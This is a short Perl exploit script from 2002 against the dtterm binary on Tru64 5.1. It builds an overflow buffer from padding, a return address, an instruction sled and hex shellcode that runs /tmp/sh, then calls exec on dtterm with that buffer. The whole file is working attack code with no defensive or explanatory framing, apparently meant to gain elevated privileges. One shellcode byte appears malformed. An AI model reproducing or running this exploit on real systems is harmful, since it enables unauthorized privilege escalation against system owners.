#!/usr/bin/perl -w
#
# Tru64 5.1 /usr/dt/bin/dtterm
#
# Shellcode modified to exec /tmp/sh instead of /bin/sh...
#
# stripey (stripey@snosoft.com) - 30/05/2002
#

unless (($offset,$align) = @ARGV,$align) { $offset = 0; $align = 3; }

$ret_addr = pack("ll",(0x4001720c+$offset),0x1);

$sc .= "\x30\x15\xd9\x43\x11\x74\xf0\x47\x12\x14\x02\x42";
$sc .= "\xfc\xff\x32\xb2\x12\x94\x09\x42\xfc\xff\x32\xb2";
$sc .= "\xff\x47\x3f\x26\x1f\x04\x31\x22\xfc\xff\x30\xb2";
$sc .= "\xf7\xff\x1f\xd2\x10\x04\xff\x47\x11\x14\xe3\x43";
$sc .= "\x20\x35\x20\x42\xff\xff\xff\xff\x30\x15\xd9\x43";
$sc .= "\x31\x15\xd8\x43\x12\x04\xff\x47\x40\xff\x1e\xb6";
$sc .= "\x48\xff\xfe\xb7\x98\xff\x7f\x26\xd0\x8c\x73\x22";
$sc .= "\x13\x05\xf3\x47\x3c\xff\x7e\xb2\x6d\x70\x7f\x26";
$sc .= "\x2f\x74\x73\x22\x38\xff\x7e\xb2\x13\x94\xe7\x43";
$sc .= "\x20\x35\x60\x42xff\xff\xff\xff";

$buf_a  = "A"x8203;
$buf_a .= $ret_addr;

$buf_b  = "B"x$align;
$buf_b .= pack("l",0x47ff041f)x1024;
$buf_b .= $sc;

exec("/usr/dt/bin/dtterm","-tn",$buf_a,"-e","\"$buf_b\"",0);

